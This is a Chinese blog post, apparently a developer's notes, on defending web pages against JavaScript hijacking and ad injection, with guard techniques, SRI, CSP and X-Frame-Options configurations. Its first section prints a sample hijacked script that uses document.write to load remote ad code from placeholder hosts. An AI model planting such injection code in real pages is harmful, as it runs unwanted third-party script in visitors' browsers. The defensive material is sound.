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javascript防劫持研究 javascript hijack
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html add insertAdjacentHTML API Oct 11, 2016
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javascript防劫持shine

什么是javascript劫持

javascript劫持属于HTTP劫持中的一种,主要是劫持js文件,然后在网页中通过js脚本往网页中注入图片和链接或者框架广告,也叫流量劫持。 文明一点的劫持只是右下角放一个固定广告,不文明的就自动弹出新广告窗口(一般会被浏览器拦截)或者给整个网页添加点击事件弹出新广告页面。

javascript劫持套路

1、document.write注入

假如页面中正常请求的是a.js,a.js请求被劫持后返回的脚本就可能是这样的:

document.writeln('<script type="text/javascript" src="http://www.xxx.com/a.js?tcdsp=true"><\/script>');
document.write('<script type="text/javascript" src="http://www.bbb.com/ad.js"><\/script>');
document.write('其他脚本标签或字符');

因为要保证页面正常,所以劫持者会还原a.js请求,为了避免死循环,所以在被劫持的js请求里添加特定的参数作区别,同时插入自己的js广告文件链接。 案例查看01_write.html

对策:过滤document.write,document.writeln字符

重写这两个方法,并在字符串中正则匹配完整script标签,并提取scr对比白名单,符合的就写入script标签。其他文本或标签全部忽略。 缺点:杀伤力过强。如果document.write把字符分开多次写入会漏检查或者说绕过检查。 注意:文档中尽量不要使用document.write\writeln形式插入标签! 保护文件01_write_guard.html

2、HTMLElement.innerHTML注入

通过innerHTML可以注入各种标签。 案例查看02_innerHTML.html

对策:过滤innerHTML注入标签不能是框架和script。

重写HTMLElement.innerHTML方法,并在字符串中正则匹配/<(i?frame|script).+?<\/\1>/gi并过滤掉。 缺点:非法的图片和链接等没有过滤。也不能简单提取字符中的链接地址比较,因为很可能会误杀。所以其他标签等其生成后再逐个逐个检查。 注意:建议iframe不要通过innerHTML生成! 保护文件02_innerHTML_guard.html

3、HTMLElement.appendChild、HTMLElement.insertBefore注入

通过appendChild、insertBefore可以注入各种标签。 案例查看03_appendChild.html

对策:限制appendChild、insertBefore插入某些标签,比如iframe|frame|link|style|audio|video|embed|object按实际情况调整。

重写HTMLElement.appendChild、insertBefore方法,检查到指定的标签禁止插入。并改写HTMLElement.replaceChild方法转到insertBefore方法上检查。插入的标签并检查其style是否含有非法连接。 缺点:无法检查其绑定事件是否非法,这是防劫持最难的部分。 注意:建议iframe|frame|link|style严禁创建这些标签,禁用link|style的目的是避免注入者使用背景图片来显示广告内容! 保护文件03_appendChild_guard.html

4、修改src或href劫持现有标签

因禁止直接插入firame,那么劫持者可能会通过修改现有iframe或img或a的href达到劫持目的。 案例查看03_appendChild.html

对策:针对img|script|iframe|frame|a标签修改src或href的值进行过滤。

这些标签在节点生成前需要检查其src值是否合法。或者是已经存在的节点需要修改src也需要检查其合法,不合法将还原其赋值。 缺点:部分src、href值是否合法比较难界定,如href="javascript:..."或者图片src="data:images/..."等。 注意:script必须赋值前就过滤,赋值后再删除已经没有意义了,代码已经存入内容并已经执行了。img,a标签事后删除倒没影响。 保护文件03_appendChild_guard.html

5、修改现有标签style和绑定事件弹出窗口

形成广告还有一种另类的方法,就是使用div等块标签通过样式使用背景图片来实现。并添加点击事件使用window.open弹出窗口。 案例查看05_modifyStyle.html

对策:监听属性修改,重写window.open方法。

对所有标签监听style,href,src属性的修改,发现非法链接地址将还原属性。并对window.open方法重写,阻止非法链接弹出。 缺点:因location.href,location.replace,location.assign方法都是只读,不能进行重写来排除非法链接。不过劫持者如果非要替换本页面来达到广告目的也失去了原来的意义。 注意:如果自己也有广告弹出,必须非常小心过滤规则。 保护文件05_modifyStyle_guard.html

6、文档末内注入广告脚本

html文件同样会被劫持,所以源代码被注入广告脚本也是很正常,虽然超出js劫持范围。 案例查看06_html.html

对策:如果注入的广告元素在本防劫持脚本之后,还是有点希望可删除的。通过window.MutationObserver监视DOM变动事件,逐个节点判断是否合法。

window.MutationObserver是监视DOM变动完成后执行的方法,包括节点元素属性变化。如果有多次变化会等所有变化完成后再执行,从性能上保证节点变化中途不影响。 缺点:大部注入节点都可顺利删除,但script标签一旦加载完成再删除节点是没有任何意义。还有无法阻止iframe被赋值到非法网站中。 注意:尽量不要在页面中使用iframe框架。 保护文件06_html_guard.html

7、添加integrity属性

2014年3月18日,W3C发布子资源完整性 (Subresource Integrity) 的标准工作草案。子资源完整性(Subresource Integrity)规范定义了一种机制,用户代理(如浏览器)可以通过验证所获取到的资源文件是否经过篡改,保证获得资源的完整性。如果判断到下载的资源存在可能被篡改,浏览器将不执行此文件。

<script src="https://code.jquery.com/jquery-1.10.0.min.js">
<script src="https://code.jquery.com/jquery-1.10.2.min.js"
integrity="sha256-C6CB9UYIS9UJeqinPHWTHVqh/E1uhG5Twh+Y5qFQmYg=" crossorigin="anonymous">

如上,浏览器下载了jquery-1.10.0.min.js将立刻执行脚本,哪怕是通过染毒的DNS恶意服务器里下载已经被篡改过的文件。而jquery-1.10.2.min.js下载后,浏览器将立即计算该脚本的哈希值并与脚本”integrity”属性标签中的哈希值作比较。如果二者不吻合,那么可以确定脚本已被篡改过,则浏览器就不会运行它。 而crossorigin属性则是浏览器用于限制对非同源资源的使用规则,crossorigin="anonymous"表示匿名CORS,如果使用crossorigin="use-credentials"表示带认证的CORS。而CORS问题请参考Access-Control-Allow-Origin相关资料。 现在只有 Chrome 和 Firefox 对这两个属性的完全支持。

8、Content Security Policy

W3C的Content Security Policy,简称CSP。主要是用来定义页面可以加载哪些资源,减少XSS的发生。 Chrome扩展已经引入了CSP,通过manifest.json或meta中的content_security_policy字段来定义。完全可以隔离远程的js,iframe,img,css等脚本的执行或加载。

<meta http-equiv="Content-Security-Policy" content="default-src 'self' googlechrome.github.io;
 style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval'" />
指令 指令值示例 说明
default-src 'self' cnd.a.com 定义针对所有资源的默认加载策略
script-src 'self' js.a.com 定义针对JavaScript的加载策略
style-src 'self' css.a.com 定义针对样式的加载策略
img-src 'self' img.a.com 定义针对图片的加载策略
connect-src 'self' 针对Ajax、WebSocket等请求的加载策略。浏览器会模拟一个状态为400的响应
font-src font.a.com 针对Web Font的加载策略
object-src 'self' 针对、或等标签引入的flash等插件的加载策略
media-src media.a.com 针对或等标签引入的html多媒体的加载策略
frame-src 'self' 针对frame的加载策略
sandbox allow-forms 对请求的资源启用sandbox(类似于iframe的sandbox属性)
report-uri /report-uri 浏览器提交日志地址。只报日志用Content-Security-Policy-Report-Only响应头
指令值 指令示例 说明
* img-src * 允许任何内容
'none' img-src 'none' 不允许任何内容
'self' img-src 'self' 允许来自相同来源的内容(相同的协议、域名和端口)
data img-src data 允许data:协议(例如base64编码的图片)
www.a.com img-src img.a.com 允许加载指定域名的资源
*.a.com img-src *.a.com 允许加载a.com任何子域的资源
https://img.com img-src https://img.com 允许加载img.com的https资源(协议需匹配)
https: img-src https: 允许加载https资源
'unsafe-inline' script-src 'unsafe-inline' 允许加载inline资源(例如常见的style属性,onclick,inline js和inline css等等)
'unsafe-eval' script-src 'unsafe-eval' 允许加载动态js代码,例如eval()

更多查看(Content Security Policy)

9、防止网页被Frame

通常可以写一段JavaScript代码,以禁止iframe的嵌套。这种方法叫frame busting。

if(self != top){
top.location = location.href;
}

一般来说我们都可以使用此脚本阻止本页面被Frame嵌套,但是在IE8及以下location对象可重置,当成普通变量(其他浏览器不能重设此变量),从而使此段代码失效。

X-Frame-Options HTTP 响应头是用来给浏览器指示允许一个页面可否在frame,iframe或者object中展现的标记。

取值 说明
DENY 表示该页面不允许在 frame 中展示,即便是在相同域名的页面中嵌套也不允许。
SAMEORIGIN 表示该页面可以在相同域名页面的 frame 中展示。
ALLOW-FROM uri 表示该页面可以在指定来源的 frame 中展示。

换一句话说,如果设置为 DENY,不光在别人的网站 frame 嵌入时会无法加载,在同域名页面中同样会无法加载。另一方面,如果设置为 SAMEORIGIN,那么页面就可以在同域名页面的 frame 中嵌套。

  • 配置 Apache
Header always append X-Frame-Options SAMEORIGIN
  • 配置 nginx
add_header X-Frame-Options SAMEORIGIN;
  • 配置 IIS
<system.webServer>
  ...
  <httpProtocol>
    <customHeaders>
      <add name="X-Frame-Options" value="SAMEORIGIN" />
    </customHeaders>
  </httpProtocol>
  ...
</system.webServer>
  • php中使用
 header('X-Frame-Options:Deny');

此方法支持所有浏览器,在IE下会提示“此内容不能显示在一个框架中”,而在chrome和firefox下会显示"about:blank",并在控制台输出相应错误。

防劫持难题

html,css文件被劫持且修改,js就爱莫能助。对节点绑定一些恶意函数也无法鉴别和清理。 低版本IE因不支持一些原型改造,所以无法实现部分防劫持功能。

扩展讨论阅读

函数防劫hijacking Function-hijacking.md

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